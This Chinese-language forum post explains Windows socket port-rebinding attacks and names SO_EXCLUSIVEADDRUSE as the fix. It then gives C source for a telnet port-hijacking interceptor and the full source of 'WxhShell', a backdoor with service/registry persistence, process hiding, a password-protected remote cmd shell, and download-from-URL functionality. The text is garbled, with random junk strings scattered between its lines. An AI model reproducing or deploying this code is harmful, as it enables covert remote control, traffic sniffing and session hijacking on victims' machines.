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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 6"2IV s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); <,t6A?YoMP T9YrB saddr.sin_family = AF_INET; QOv@rP/ w*7wSP saddr.sin_addr.s_addr = htonl(INADDR_ANY); Dd:48sN:Jq b}ODc]3 bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); (I#3![q <@>l9_=R 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
: !wt/Y mfk^t`w_ 这意味着什么?意味着可以进行如下的攻击: nz/cs n nR,QqIFFw 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 }Rq{9j,% /kqa|=-`q 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) xH>j 4@9xq<<5 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 eY`o=xN Hw,@oOh. 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 l-8rCaq&J pE{Ecrc3| 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 B#o6UO\ $g
}aH(vf 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 V17!~ Eu[/* t+l 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 T@ zV 8M7Bw[Q1 #include $AdBX}{ #include =A_fL{ SM #include Z)<lPg!YAR #include &[5pR60 DWORD WINAPI ClientThread(LPVOID lpParam); O&@CT] )8 int main() ,3Aiz|v- { scy_ WORD wVersionRequested; CWSc #E DWORD ret; UYhxgPGsj WSADATA wsaData; ,Y7QmbX^ BOOL val; 5jsZJpk$ SOCKADDR_IN saddr; wB"`lY SOCKADDR_IN scaddr; C/q!! int err; 3 ]pHc)p!. SOCKET s; se29IhS!e SOCKET sc; rw[Ioyr- int caddsize; pzeCdHF HANDLE mt; JD]uDuE DWORD tid; a" L9jrVrw wVersionRequested = MAKEWORD( 2, 2 ); sY&Z/Y err = WSAStartup( wVersionRequested, &wsaData ); G
BM8:IG \ if ( err != 0 ) { 9<5S!?JL printf("error!WSAStartup failed!\n"); pL2{zW`FDh return -1; c'wU$xt.w } "-Wb[*U; saddr.sin_family = AF_INET; f7&9IW`7F^ NJg )S2]7 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 4-oaq'//BT x!n8Wx saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); )Cd.1X8 saddr.sin_port = htons(23); ur[^/lxx0 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) kG`&Z9P { dEZlJo@J printf("error!socket failed!\n"); ipS:)4QFxJ return -1; ;KT5qiqYH } &W{v(@ val = TRUE; wJh/tb=$o //SO_REUSEADDR选项就是可以实现端口重绑定的 ?HeUU if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ]#vi/6\J { `7R-2
w<b? printf("error!setsockopt failed!\n"); b8glZb*$ return -1; gKtgW&PYm } I5ZM U //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; U+&Eps&NI //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 xL"O~jTS //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 t$rla_rbY k`J|]99Wb if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) I8uFMP { kq@~QI?9 ret=GetLastError(); /dHIm`. Z printf("error!bind failed!\n"); uc/W/c u, return -1; |mcc?*%t8 } pk0{*Z?@ listen(s,2); ^%!#Q]. while(1) y2=yh30L0E { G"h}6Za;DO caddsize = sizeof(scaddr); WWATG= //接受连接请求 #\\|:`YV sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); L[!||5y if(sc!=INVALID_SOCKET) .AZwVP< { gj
I>tz} mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); HEw&' if(mt==NULL) ~ 7<M6F { I+
Y{_yw"f printf("Thread Creat Failed!\n"); BAtjYPX'w break; jwP5pu } LL==2KNUo } w/*m_O\! CloseHandle(mt); 9dWz3b1[] } `\f 3Ij, closesocket(s); 9*r^1PRc WSACleanup(); cZ# %tT# return 0; F6aC'<#/ } KtGbpcS$f DWORD WINAPI ClientThread(LPVOID lpParam) !;0K=~(Y^ { l2I%$|)d SOCKET ss = (SOCKET)lpParam; SYa
O'c SOCKET sc; #/{3qPN?@ unsigned char buf[4096]; BvUiH<-D SOCKADDR_IN saddr; Y=5P=wE long num; 3 FV -&Y DWORD val; F<XOt3VY. DWORD ret; QWtDZ> //如果是隐藏端口应用的话,可以在此处加一些判断 (e0(GOqf4 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 KC)}Mzt6_ saddr.sin_family = AF_INET; r-.>3J saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); YrV@k*O* saddr.sin_port = htons(23); d</F6aM\ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) nv\K!wZI=b { Qqs1%u;e8 printf("error!socket failed!\n"); h~ZLULW)B return -1; wE}Wh5 } =[LorvX+ val = 100; 216$,4i if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [2h.5.af { 9Vo*AK'&U ret = GetLastError(); 8:>V'j return -1; X-#&]^d } V1~@ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) DTSf[zP/ { <'N:K@Cs ret = GetLastError(); </u=<^ire return -1; *QV"o{V } ambr}+}
if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) z+- o}i { %"eR0Lj+zq printf("error!socket connect failed!\n"); %D5F7wB closesocket(sc); e[s}tjx closesocket(ss); P-3f51 Q return -1; }
!y5hv!_ } LD1&8kJ*l while(1) Pc2!OQC'"" { UtP|<]{ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 -Jw4z#/- //如果是嗅探内容的话,可以再此处进行内容分析和记录 ,[)l>!0\H //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ~?FhQd\Q num = recv(ss,buf,4096,0); gn&Zt}@[ if(num>0) imeE& send(sc,buf,num,0); 4QTHBT+2` else if(num==0) 0^sY>N" break; f 9Kt>2IN num = recv(sc,buf,4096,0); aU^6FI if(num>0) b?c/J{me send(ss,buf,num,0); U7?v4O]D[ else if(num==0) 0Qq<h;8xEc break; .ESvMK~x } }YVF
fi~ closesocket(ss); S0QLM) closesocket(sc); E2d'P return 0 ; 8'%m! } y^ |u'XK ],k~t5+ 7eAV2. ========================================================== se`Eez} ~> Q9 下边附上一个代码,,WXhSHELL U3Z=X TB t ^[fu, ========================================================== DA.k8M W\NC3] #include "stdafx.h" =$fz</S=J KmTFJ,iM #include <stdio.h> w"wW0uE^ #include <string.h> b^Re947{g #include <windows.h> gXJBb+P
#include <winsock2.h> @uldD"MJ<] #include <winsvc.h> [
'lu;1-, #include <urlmon.h> vg1JN"S[ r
PK.Q)g #pragma comment (lib, "Ws2_32.lib") !*Eu(abD #pragma comment (lib, "urlmon.lib") \yC /OLXq 0o"aSCq8t #define MAX_USER 100 // 最大客户端连接数 W(R~K - #define BUF_SOCK 200 // sock buffer &29jg_'W #define KEY_BUFF 255 // 输入 buffer | @$I< ao"2kqa)r #define REBOOT 0 // 重启 6Eu(C]nC( #define SHUTDOWN 1 // 关机 PXkpttIE]M )Wr_*>xj #define DEF_PORT 5000 // 监听端口 !Yv_V]u= ?VmgM"'md #define REG_LEN 16 // 注册表键长度 UZ2_FP #define SVC_LEN 80 // NT服务名长度 2Y23!hw |w}j!}u // 从dll定义API dN)8r typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); T7.Iqw3p typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @$ Zh^+x! typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Z17b=xJw typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); BZ1wE1 t Y~85Z0l // wxhshell配置信息 gS5MoW1 struct WSCFG { Y=O+d\_W int ws_port; // 监听端口 rR-[CT char ws_passstr[REG_LEN]; // 口令 Q(nTL WW int ws_autoins; // 安装标记, 1=yes 0=no q.`<q char ws_regname[REG_LEN]; // 注册表键名 G
rp{
. char ws_svcname[REG_LEN]; // 服务名 C2"^YRN, char ws_svcdisp[SVC_LEN]; // 服务显示名 l|?tqCT ^h char ws_svcdesc[SVC_LEN]; // 服务描述信息 Nw1*);b[y char ws_passmsg[SVC_LEN]; // 密码输入提示信息 1+uZF int ws_downexe; // 下载执行标记, 1=yes 0=no CTRUr" char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" r)pt(*KHo char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Sb /?<$> Sv{n?BYq }; :J]'c} t{jY@JT| // default Wxhshell configuration y>aO90wJ struct WSCFG wscfg={DEF_PORT,
Rzg;GH "xuhuanlingzhe", = IRot 1, !6%?VJB|b "Wxhshell", LSou]{R "Wxhshell", <VKJ+ "WxhShell Service", -je} PwT "Wrsky Windows CmdShell Service", L
AasmQ "Please Input Your Password: ", @6>Q&GYqt 1, gGL}FNH " http://www.wrsky.com/wxhshell.exe", Ne1Oz} "Wxhshell.exe" 0BlEt1e2T }; f?Zjd&|Ch p{^:b6 // 消息定义模块 .iRKuBM/ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @)6b char *msg_ws_prompt="\n\r? for help\n\r#>"; ^EX"fRwNi char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; cZNcplt8 char *msg_ws_ext="\n\rExit."; S>~f. char *msg_ws_end="\n\rQuit."; wWb>V&3 char *msg_ws_boot="\n\rReboot..."; a+cMXMf char *msg_ws_poff="\n\rShutdown..."; .cHgYHa char *msg_ws_down="\n\rSave to "; k
i<X ^^ 9f( X7kt char *msg_ws_err="\n\rErr!"; :}zyd;Rc char *msg_ws_ok="\n\rOK!"; |NZi2Bu @F<{/|P char ExeFile[MAX_PATH]; Wn(!6yid int nUser = 0; U]sAYp^$ HANDLE handles[MAX_USER]; SWV*w[X<X int OsIsNt; U.Mfu9}#: V2Vr7v=Y" SERVICE_STATUS serviceStatus; f[k#Znr SERVICE_STATUS_HANDLE hServiceStatusHandle; iH }- Xkhd"Axi // 函数声明 a.Z@Z!* int Install(void); noxJr/A] int Uninstall(void); eut2x7Z(c int DownloadFile(char *sURL, SOCKET wsh); o:AfEoH"~ int Boot(int flag); %;k Hnl void HideProc(void); `s
CwgY+ int GetOsVer(void); UPuoIfuqI int Wxhshell(SOCKET wsl); "#r)NYq`"| void TalkWithClient(void *cs); u;_h%z5K int CmdShell(SOCKET sock); 7EE{*}?0E int StartFromService(void); fZo#:"{/K int StartWxhshell(LPSTR lpCmdLine); T?pS2I~ 8Agg%*Qs} VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); smf"F\Ws VOID WINAPI NTServiceHandler( DWORD fdwControl ); (?r,pAc: SV>tw`2 // 数据结构和表定义 =9jK\ T^ SERVICE_TABLE_ENTRY DispatchTable[] = A9MM^jV8 { <giBL L! {wscfg.ws_svcname, NTServiceMain}, QM0B6F {NULL, NULL} |:1{B1sqA }; .xsfq*3e5 N; g@lyo // 自我安装 ^?VQ$o2 int Install(void) <=*f { Gaix6@X6' char svExeFile[MAX_PATH]; 4b2d(x)0X HKEY key; k XSX<b <% strcpy(svExeFile,ExeFile); uAn}qrqE9 3PNdc}h // 如果是win9x系统,修改注册表设为自启动 pmNy=ZXx if(!OsIsNt) { 0kkDlWkzo if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =8\.fp RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?R)]D:` RegCloseKey(key); Z>9@)wo if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,dIev< RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xqG<R5k>> RegCloseKey(key); bE _8NA"2 return 0; qiNVaV\wr| } g_Z
tDxz } L.HeBeO } puC91 else { ;,&cWz 3v8LzS3@ // 如果是NT以上系统,安装为系统服务 vgwpuRL5b SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); n3a.)tcC if (schSCManager!=0) _%nz-I { ^e.-Ji SC_HANDLE schService = CreateService pE5v~~9Ikv ( %2}fW\%' schSCManager, X;I9\Cp]! wscfg.ws_svcname, .{V"Gn9! wscfg.ws_svcdisp, $'J3
/C7 SERVICE_ALL_ACCESS, jc5[r;# SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]||b2[* SERVICE_AUTO_START, ))"gWO SERVICE_ERROR_NORMAL, KNVu[P)rv svExeFile, %_OjmXOfe NULL, ^#Ii=K-[^ NULL, <u64)8' NULL, T}#iXgyx NULL, Hb)FeGsd). NULL w'
7sh5 ); c7e,lgG- if (schService!=0) {X!OK3e { /WuYg
OI CloseServiceHandle(schService); xlI=)ak{ CloseServiceHandle(schSCManager); PF%-fbh!~ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Ir9GgB strcat(svExeFile,wscfg.ws_svcname); Met]|& if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { F$7!j$
Z RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _'=,c" RegCloseKey(key); 40t xZFQ0 return 0; (\AN0_ } --5F*a{R| } #EPC]jFk CloseServiceHandle(schSCManager); -YA,Stc- } 0fsVbC } -vvyG @-$8)?`q return 1; nKx)R^]k } Tuln#<: [9; @1I<x // 自我卸载 UqP{Cyy{ int Uninstall(void) Gw*Tz" { {&51@UX HKEY key; /(dP)ysc |mEWN/@C if(!OsIsNt) { ,Bk5(e if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ./YR8 #, RegDeleteValue(key,wscfg.ws_regname); }HgG<.H> RegCloseKey(key); @>2pY_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +9_Y0<C RegDeleteValue(key,wscfg.ws_regname); &hOz(825r RegCloseKey(key); -%asHDQ{ return 0; p*
>z:= } }3(!kW } )Qbd/zd\U } gmGK3am else { @oXGa>Ru x?h/e; SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); P?0X az if (schSCManager!=0) /v{+V/'+ { J@3, SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^m>4<~/ if (schService!=0) ^6s im 2 { \[MAa:/ if(DeleteService(schService)!=0) { M(-)\~9T CloseServiceHandle(schService); Ca2r<|uA CloseServiceHandle(schSCManager); LPvp
(1 return 0; EZUaYp~M } oTw!#Re) CloseServiceHandle(schService); F? #3 } DHO]RRGV CloseServiceHandle(schSCManager); Blpk
n1 } /3b*dsYsl } SDnl^a 2b"*~O; return 1; qE)FQeN } `^M]|7 IskL$Y ^
// 从指定url下载文件 \]X.f&u int DownloadFile(char *sURL, SOCKET wsh) l]*RiK2AC { 7)Toj HRESULT hr; )qWwh)\;! char seps[]= "/"; pKSCC"i&j char *token; r.C6`
a char *file; +3v)@18B1 char myURL[MAX_PATH]; iN;Pg_Kq char myFILE[MAX_PATH]; xGd60"w2 RT[p!xL strcpy(myURL,sURL); cx\"r token=strtok(myURL,seps); .;? Bni while(token!=NULL) {U5sRM|I { =KE7NXu]- file=token; SuE~Wb5& token=strtok(NULL,seps); "zEl2Xn28_ } 4Gu'WbJ G%W9?4_K GetCurrentDirectory(MAX_PATH,myFILE); RY-iFydPc strcat(myFILE, "\\"); R5HT
EB strcat(myFILE, file); WgNA%.|, send(wsh,myFILE,strlen(myFILE),0); C=?S send(wsh,"...",3,0); i<QDV
W9 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); "[)G{VzT if(hr==S_OK) egoR])2> return 0; "{0G,tdA else Ot=>~(u0 return 1; .3
EZk86 BQu
|qrq } o[C^z7WG0 r%,?uim# // 系统电源模块 N ,~O+ int Boot(int flag) {cK<iQJ { u0C:q`;z HANDLE hToken; @*;x1A-]V TOKEN_PRIVILEGES tkp; wkg4I. |#Gxqq' if(OsIsNt) { -gn0@hS0 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); !=9x= LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); so-5%S tkp.PrivilegeCount = 1; is.t,&H4P] tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; =EJ&=t AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Cfi{%,em if(flag==REBOOT) { Jh"[ug if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) oo'9ZE/% return 0; =
0 ~4k# } )nN!% |J else { GS;GJsAs if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) pc`P;Eui return 0; j<AOC? } P{Nvt/% } >y%H2][ else { g~U(w if(flag==REBOOT) { EP>u% ]# if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) , ZsZzZ# return 0; !I7$e&Uz@ } ff--y8h else { iI GK"} if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *|rdR2R! return 0; \0\ O/^W0 } >S5J^c } pW]j.JM h+km? j return 1; }k-V( } axQ>~vWN/ '6N)sqTR // win9x进程隐藏模块 j >k
;Zj void HideProc(void) z{XB_j6\= { /@LkH$ ing'' _ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )5|9EXh if ( hKernel != NULL ) |rx5O5p { ;*%rFt9FK pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Ib(C`4% ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); is;g`m FreeLibrary(hKernel); ?:R ]p2 ID } 6h9(u7(-N ]E9iaq6Z return; t{})6 }
,,H5zmgA VDxm|7 // 获取操作系统版本 k1Y\g'1
int GetOsVer(void) u]ms~rO { @A[)\E1 OSVERSIONINFO winfo; *@rA7zPFf winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]d*9@+Iu GetVersionEx(&winfo); oW~W(h! if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
Zkp~qx return 1; F^l1WX6 else gT}H B. return 0; &xGdKH
} {B$CqsvJ 80nE QT
y // 客户端句柄模块 7L~*%j int Wxhshell(SOCKET wsl) :WB uU { '#Wx@ SOCKET wsh; V]zZb-m= struct sockaddr_in client; XYU5. DWORD myID; V.B@@ ; 6uE20O<z] while(nUser<MAX_USER) C'#KTp4!1 { 0["93n}r int nSize=sizeof(client); 9#DXA} wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %A zy#m
if(wsh==INVALID_SOCKET) return 1; Ip8ml0oG ]J Yz(m[ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Nm)3 if(handles[nUser]==0) juEPUsE closesocket(wsh); Q<sqlh!h else o2fih%p?1 nUser++; a_N7X } Us`=^\ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
(?zg.y u^MKqI return 0; ~&Z>fgOTJ } J3yK^@&& e#[Klh$]EW // 关闭 socket s^u Y void CloseIt(SOCKET wsh) "7cty\ { B.N#9u-vW closesocket(wsh); ` o)KG, nUser--; z:Am1B ExitThread(0); ~"+"6zg } TPp]UG }UyQGRZ= // 客户端请求句柄 ZthT('"a void TalkWithClient(void *cs) P<pv@l9) { qzW3MlD 7(@xk_Pl SOCKET wsh=(SOCKET)cs; yTZev|ej@ char pwd[SVC_LEN]; |))NjM'ZBl char cmd[KEY_BUFF]; ,X!6|l8 char chr[1]; Q}#Je.; int i,j; |=;hQ2HyF PVb[E 03 while (nUser < MAX_USER) { G+dq
*/ sq$v6x sl if(wscfg.ws_passstr) { DI\=udN if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3)G~ud //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _xKn2 ?d8g //ZeroMemory(pwd,KEY_BUFF); NQ{(G8x9 i=0; )oIh?-WL while(i<SVC_LEN) { v3r3$(Hr ?V6,>e_+ // 设置超时 #E]K*mE' fd_set FdRead; ~0MpB~ {xd struct timeval TimeOut; =E9\fRGU FD_ZERO(&FdRead); <-I69` FD_SET(wsh,&FdRead); --$* q"
TimeOut.tv_sec=8; %bnXZA2Sx TimeOut.tv_usec=0; svpQ.Q int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); D4VDWv if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); y_m+&Oe aHN"I
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8c5YX pwd =chr[0]; Vk{;g if(chr[0]==0xd || chr[0]==0xa) { zYzV!s2^ pwd=0; 6n]+(= break; 3U<m\A1 } ceUe*}\cr i++; B=0^Rysg } Ge?Wmq> |5 V0_79
// 如果是非法用户,关闭 socket y[m,t}gi if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ` aVp# } d{YvdN9d S;4:`?s=i send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); HLWffO/ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +d3|Up8=
NzgG77> while(1) { A3eCI yd;e;Bb7* ZeroMemory(cmd,KEY_BUFF); #RlZxtx.O Q^b& // 自动支持客户端 telnet标准 kX8C'D4 gX j=0; ZJ3g,dc while(j<KEY_BUFF) { -#ZvjEaey if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); PYCN3s#Gi cmd[j]=chr[0]; x7S\-<8 if(chr[0]==0xa || chr[0]==0xd) { !Gmnck&+ cmd[j]=0; V,-we|" break; x3y+=aj } Tz1^"tx9 j++; M@ U>@x; } &J3QO% 3RaduN] // 下载文件 c5ij2X|I if(strstr(cmd,"http://")) { Y5aG^wE[: send(wsh,msg_ws_down,strlen(msg_ws_down),0); JI>Y?1i0O if(DownloadFile(cmd,wsh)) ,iV%{*p] send(wsh,msg_ws_err,strlen(msg_ws_err),0); nXT`7 else 4aHogheg send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T]tP!a;K } +p%3pnj:K else { syw1Z*WK b6-N2F1Fs switch(cmd[0]) { L;3%8F\-. $yx\2 // 帮助 6ld4'oM case '?': { ">[#Ops-;$ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *D|a`R!Y break; WZ' Z"' } zM0}(5$m // 安装 sT?{ case 'i': { e"hfeNphz if(Install()) RBQ8+^ send(wsh,msg_ws_err,strlen(msg_ws_err),0); +(*HDa| else 8 W send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gKh*q. break; NsB]f{7>8+ } 19$A!kH\ // 卸载 /S]$Hu| case 'r': { 70qEqNoC if(Uninstall()) 72, m c send(wsh,msg_ws_err,strlen(msg_ws_err),0); _V"0g=&Hc else <&\ng^Z$ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0q5J)l: break; T<n`i~~ } xX&B&"]5 // 显示 wxhshell 所在路径 Jj=qC{] case 'p': { KZ 5%q. char svExeFile[MAX_PATH]; }PI:O%N; strcpy(svExeFile,"\n\r"); I0mp [6 strcat(svExeFile,ExeFile); W]po RTJ: send(wsh,svExeFile,strlen(svExeFile),0); it}h8:^< break; o898pg } 27!FB@k- // 重启 {4S UGo> case 'b': { ~uhW~bT send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); e* [wF})) if(Boot(REBOOT)) w-Ph-L/ send(wsh,msg_ws_err,strlen(msg_ws_err),0); xeF>"6\ else { =E2 a#Vd closesocket(wsh); FtTq*[a ExitThread(0); xUn"XkhP } 9Jwd *gevV break; Z:{|
?4 } p4P=T@: // 关机
}#m9Q[ case 'd': { vaeQ}F send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -@XSDfy7S if(Boot(SHUTDOWN)) pN^g. send(wsh,msg_ws_err,strlen(msg_ws_err),0); #aX#gh}1
else { HR-'8?)R.A closesocket(wsh); ?;l@yx ExitThread(0); M8-8T } 2G8w&dtu break; Y#@D%
a 8 } ,NGHv?.N // 获取shell #zP-,2!r case 's': { @V
' HX CmdShell(wsh); $+80V{J# closesocket(wsh); <6(0ZO%,C! ExitThread(0); ,8384' break; DZqG7p$u4i } Sn[xI9}O // 退出 6) i-S<( case 'x': { K9@.l~n send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); neU=1socJ CloseIt(wsh); h3
HUdu break; Z Qlk 5 } 6)1PDlB // 离开 `dm*vd case 'q': { &>AwG4HW#j send(wsh,msg_ws_end,strlen(msg_ws_end),0); My>q%lF=fw closesocket(wsh); bpc1>? WSACleanup(); 8oE`>Y exit(1); /Qst :q break; xuUEJ
a& } pEwo}NS*H } 1KUjb@" } |pHlBzHj
P7w
RX F{ // 提示信息 ku,{NY
f^Y if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O[ z0+Q?6Z } $TK*w8@: } z6w'XA1_+t "" UyfC[ return; K#k/t"r } -. *E<% CWeQv9h]X // shell模块句柄 `i.fm1I] int CmdShell(SOCKET sock) W_@ b. 1 { @A6iY STARTUPINFO si; s={>{,E ZeroMemory(&si,sizeof(si)); KH,f'` si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; J299mgB si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; V%4P.y PROCESS_INFORMATION ProcessInfo; v9 \n=Z char cmdline[]="cmd"; (RI)<zaK
; CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); %ap]\o$^4 return 0; NlF*/Rs } ~+{*KPiD fBh" // 自身启动模式 /}1|'?P int StartFromService(void) ~0,v Q
{ #)}BY"C% typedef struct BPj?l { koT3~FK DWORD ExitStatus; 5
Y&`Z J DWORD PebBaseAddress; N?m)u,6-l DWORD AffinityMask; Hx6ODj[- DWORD BasePriority; W^09tx/I ULONG UniqueProcessId; (^W}uDPCB ULONG InheritedFromUniqueProcessId; m|fcWN[ } PROCESS_BASIC_INFORMATION; FV9{u[3m g5#LoGc PROCNTQSIP NtQueryInformationProcess; <SJ6<' ;q'-<O static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; egs P\ ' static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 97 SS0J D'[:35z HANDLE hProcess; *i*\dl PROCESS_BASIC_INFORMATION pbi; s:'>G;p f-#:3k*7S HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); W'9{2h6u( if(NULL == hInst ) return 0; }],l m $`UdG0~ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); RCfeIHL g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, 